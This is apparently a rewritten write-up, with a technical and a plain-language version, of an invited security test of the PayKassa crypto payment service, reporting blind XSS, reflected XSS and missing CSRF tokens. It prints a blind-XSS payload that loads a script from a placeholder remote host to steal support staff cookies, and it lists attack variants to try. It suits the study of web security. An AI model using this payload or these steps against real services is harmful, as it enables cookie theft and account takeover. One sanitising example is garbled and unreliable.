How I hacked one cryptocurrency service
The service had a blind XSS in its support chat that allowed stealing an admin's cookies and accessing the admin menu, and also had reflected XSS and missing CSRF tokens on user settings. An attacker could use these to take over accounts or modify other users' data.
Published on medium.com
{{media:0}}
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
PayKassa (paykassa.pro) is a payment provider service, described in the report as serving almost all cryptocurrencies. The researcher was invited to test it directly after the company read one of his earlier articles, so this was an official request rather than a bug-bounty programme engagement. The report contrasts this arrangement with bug-bounty routine, mentioning long fixing times and negotiation over the reward amount.
The testing covered three areas of the service: the support chat, a directory containing a form that posts to the main service, and the personal settings page of a logged-in user.
Setup
The researcher started with a Recon phase against paykassa.pro after several messages exchanged over Telegram. He used xsshunter.com to collect his XSS logs. For the CSRF finding he used two different test users, each with a personal page. No versions, headers or tool configurations beyond these are given in the report.
Finding it
The support chat existed in two places: one area with a widget, and a second reached through an official request from the profile menu. The second route was the one that worked. The researcher found that XSS could be triggered through an attached file, both from the filename and from the title.
During Recon he also found an interesting directory at https://paykassa.pro/info.php. That page has a form which sends a POST request to the main service, and the service returned data to the user from time to time. Two things stood out: unrestricted access to the service data, and a place where some data was reflected on the page.
On the personal page of his test user he noticed there were no CSRF tokens, meaning nothing tied a save request to a unique user session.
Exploitation
Step 1: Blind XSS in the support chat
After confirming that the profile-menu support route accepted input, the researcher submitted an attached file whose filename and title carried the payload. The vector used was:
The payload closes an existing attribute with "> and then loads a remote script. The researcher says he always collects his logs with xsshunter.com. The report does not show the request that carried the file or the response.
The execution happened in the support staff's browser. The researcher received the support team's cookies, followed the URL to the admin menu, and from there could control the service through the admin tool using the captured cookies. He describes this as the biggest impact of the findings.


Step 2: XSS from the info.php directory
The page at https://paykassa.pro/info.php contains a form that sends a POST request to the main service. The service returned some data to the user from time to time. The researcher identifies two consequences: unrestricted access to the service data, and reflection of some data on the page.
Because of the reflection, an attacker can craft a malicious page combining an XSS and CSRF vector to steal a victim's cookies on this page from the reflected parameter. The report does not include the parameter name, the request, or the response.

Step 3: CSRF on user settings
The personal page of the test user had no CSRF tokens protecting the saving of private data. The researcher verified this with two different users: a first user, using a malicious crafted page, could modify data belonging to the second user. The report does not show the request or the crafted page.
Root cause
The researcher found how to use XSS with an attached file, from the filename and from the title, and the payload executed in the support team's browser. The info.php page reflected some data on the page, and the settings page had no CSRF tokens tying a save request to a unique user.
Impact
Through the blind XSS the researcher obtained support staff cookies and reached the admin menu, from which he says he could control the service with the captured cookies. The info.php reflection allowed cookie theft from a victim visiting a crafted page, combined with CSRF. The missing CSRF tokens allowed one user to modify another user's private data. All three issues are reported as fixed.
Fix
All three findings are marked as fixed in the report. The fixing timeline was around 1 to 2 hours each time.
Variants to test
- Submit attachments to every support or ticketing channel, including widget and profile-menu routes, with the payload in the filename and in the title, and watch an out-of-band collector for execution.
- Look for auxiliary pages such as info.php that post to the main application and reflect input back, then test whether the reflected value can break out of its context.
- On account settings and profile pages, replay a save request from a different origin with the victim's session and no token, using two accounts to confirm that one user's data can be changed by another.
Timeline and reward
Each fix took around 1 to 2 hours. The reward amount was around 300 USD.
What happened, in plain words
A security researcher was contacted by a company that runs a cryptocurrency payment service. They had read an article he wrote about a previous hack and asked him to check their own service. He agreed, and during the testing he found three separate security problems. The company fixed each one quickly, usually within a couple of hours, and paid him around 300 US dollars.
The service is called PayKassa and its website is paykassa.pro. It is a payment provider for cryptocurrencies: think of it as a middleman that lets people send and receive various digital currencies. The researcher was given permission to test it, so this was not an open bug bounty programme where anyone can submit findings; it was a direct invitation.
This article walks through what he found, in the order he found it, and explains every technical idea from scratch. You only need to know how to use a browser.
The setup: what he did before attacking
The researcher started with a phase called Recon, short for reconnaissance. In security, recon means gathering information about a target before trying to break anything: looking at what pages exist, what forms they contain, and how the application responds. It is like walking around a building and noting the doors and windows before trying to open any.
He exchanged several messages with the company over Telegram, a messaging app, and then began looking at paykassa.pro. He also used a service called xsshunter.com. XSS stands for Cross-Site Scripting, which we will explain shortly. xsshunter.com is a tool that gives you a special address; when a payload you injected runs in someone else's browser, that browser quietly contacts the address, and the tool records the fact that it happened. This is useful for blind XSS, where you cannot see the result yourself because the code runs in a different person's browser, such as a support agent's.
For the third finding he used two separate test accounts, each with its own personal settings page. Having two accounts lets you check whether one account can affect the other.

The image above is from the article and shows the context of the initial contact; the report does not describe its contents further.
Finding 1: Blind XSS in the support chat
The service had a support chat in two places. One was a widget: a small chat box embedded in the page. The other was reached through an official request from the profile menu, meaning a logged-in user could open a support ticket from their account menu. The researcher tried both. The second route, the profile-menu one, was the one that worked.
He discovered that he could trigger XSS through an attached file, using the filename and the title. The code ran in the support team member's browser when the ticket was viewed.
What is XSS?
Cross-Site Scripting (XSS) is a vulnerability where an application takes input from a user and later puts it into a web page without properly neutralising it. If the input contains HTML or JavaScript, the browser treats it as part of the page and executes it. Imagine a noticeboard where anyone can pin a note; if someone pins a note that says "ignore the previous notices and do what I say", and the reader obeys, that is roughly what XSS does to a browser.
Blind XSS is a specific kind: the injected code does not run in your own browser, so you cannot see the effect directly. It runs later, in someone else's browser, often an administrator or support agent who views your submission. You detect it by having the code contact a server you control, which is what xsshunter.com does.
The payload
To test, he submitted an attached file whose filename and title contained this vector:
Let us break it down piece by piece.
“>: This starts with a curly double quote and then a greater-than sign. In HTML, attributes are written inside tags, for example<input value="something">. The"closes the attribute value, and the>closes the tag. By injecting this, the attacker tries to break out of whatever attribute or tag the application placed his input into, so that what follows is treated as new HTML rather than as text.<script src=https://xss-target-example.com></script>: This is a script tag that tells the browser to load and run a JavaScript file from the given address. The address here is a placeholder for a remote script host. When the support agent's browser renders the page, it fetches that script and runs it. The script's job is to report back to xsshunter.com that it ran, and often to collect information such as cookies.
The report does not show the exact request that carried the file or the server's response.
What happened next
The code ran in the browser of a support team member. The researcher received that person's cookies. A cookie is a small piece of data that a website asks your browser to store and send back with every request to that site. It is how a site remembers that you are logged in: after you sign in, the server gives your browser a cookie containing a session identifier, and on each later request the browser presents it. If someone else obtains your cookie, they can often impersonate you without knowing your password.
With the support agent's cookies, the researcher could follow a URL to the admin menu and use the admin tool as if he were that agent. He describes this as the biggest impact of all his findings, because it gave him control over the service through the admin interface.


Finding 2: XSS from an interesting directory
During recon, he found a page at https://paykassa.pro/info.php. The .php ending tells you the page is generated by a program written in PHP, a common language for web servers. This page contained a form that sent a POST request to the main service.
A POST request is one of the ways a browser talks to a server. When you fill in a form and click submit, the browser usually sends the data as a POST request, separate from the URL. The server receives it and does something with it, such as saving data or returning a result.
The researcher noticed two things about this page:
- It gave unrestricted access to the service's data. In other words, the page returned information that perhaps should not have been available to just anyone.
- Some of the data that was sent to it was reflected back on the page. Reflection means the application takes your input and echoes it directly into the HTML it sends back. If the echoed input is not made safe, it can become XSS.
Because of the reflection, an attacker could craft a malicious page that combines XSS and CSRF to steal a victim's cookies from the reflected parameter. A parameter is a named value in a request, like name=value in a URL or form.
What is CSRF?
Cross-Site Request Forgery (CSRF) is a different problem. It exploits the fact that your browser automatically sends your cookies with requests to a site. If you are logged in to paykassa.pro and then visit a malicious page, that page can make your browser send a request to paykassa.pro, and the browser will attach your cookies. The server sees a valid session and may perform an action, such as changing your settings, even though you never intended it. It is like someone forging your signature on a letter because your signature stamp is always on your desk.
Combining XSS and CSRF means the attacker's page can both run code in the victim's browser and make requests as the victim.

Finding 3: CSRF on user settings
On the personal settings page of his test user, the researcher found that there were no CSRF tokens. A CSRF token is a unique, unpredictable value that the server includes in a form and expects back when the form is submitted. Because an attacker on another site cannot know the token, they cannot forge a valid request. Without such a token, nothing ties a save request to a particular user session.
He checked this with two different users. His theory was that the first user, using a maliciously crafted page, could modify data belonging to the second user. The test confirmed it.
Why these problems existed
The support chat was vulnerable to XSS through the filename and title of an attached file. Sanitising means cleaning input so that any HTML or script is neutralised, for example by converting < to <. Markup in those fields executed in the browser of support staff with access to the admin menu.
The info.php page reflected some data on the page, and the settings page had no CSRF tokens tying a save request to a unique user.
What the impact was
Through the blind XSS the researcher obtained support staff cookies and reached the admin menu, from which he says he could control the service with the captured cookies. The info.php reflection allowed cookie theft from a victim visiting a crafted page, combined with CSRF. The missing CSRF tokens allowed one user to modify another user's private data. All three issues are reported as fixed.
How they were fixed
All three findings are marked as fixed in the report. The fixing timeline was around 1 to 2 hours each time.
Variants to test
If you are testing a similar service, here are three approaches to try, based on what worked here:
- Submit attachments to every support or ticketing channel, including widget and profile-menu routes, with the payload in the filename and in the title, and watch an out-of-band collector for execution. An out-of-band collector is a server you control that records incoming connections, like xsshunter.com.
- Look for auxiliary pages such as info.php that post to the main application and reflect input back, then test whether the reflected value can break out of its context. Context means the surrounding HTML, such as whether your input lands inside an attribute, inside a tag, or between tags; breaking out means escaping that context to inject new markup.
- On account settings and profile pages, replay a save request from a different origin with the victim's session and no token, using two accounts to confirm that one user's data can be changed by another. Origin here means the website that sends the request; a different origin is a different site.
Timeline and reward
Each fix took around 1 to 2 hours. The reward amount was around 300 USD.
Glossary
- API: Application Programming Interface; a set of rules that lets one piece of software talk to another. In web terms, it is often a way for a page to send and receive data from a server without reloading.
- Blind XSS: Cross-Site Scripting where the injected code runs in someone else's browser, not your own, so you detect it through an external collector.
- Cookie: A small piece of data a website stores in your browser and receives back on each request, commonly used to keep you logged in.
- CSRF: Cross-Site Request Forgery; tricking a logged-in user's browser into sending a request to a site where they are authenticated, without their intent.
- CSRF token: A unique value added to a form or request that an attacker cannot guess, used to prove the request came from the legitimate site.
- GET request: A request that asks a server for a resource, with parameters in the URL. (Not used in this report, but common.)
- HTML: The language used to structure web pages.
- JavaScript: A programming language that runs in the browser and can make pages interactive.
- Out-of-band collector: A server you control that records connections made by a payload, used to detect blind vulnerabilities.
- Parameter: A named value in a request, such as
id=123in a URL or form. - Payload: The piece of code or data an attacker injects to exploit a vulnerability.
- PHP: A programming language commonly used to build web servers and pages.
- POST request: A request that sends data to a server, typically from a form submission.
- Recon: Reconnaissance; the information-gathering phase before testing.
- Reflection: When an application echoes user input back into the page it returns.
- Sanitising: Cleaning input so that any code in it is neutralised and cannot execute.
- Session: A period of interaction between a user and a site, identified by a cookie or token, so the site remembers who you are.
- Token: A value used to identify or authorise something, such as a session or a form submission.
- Widget: A small embedded application, such as a chat box, often provided by a third party.
- XSS: Cross-Site Scripting; injecting code into a page that runs in another user's browser.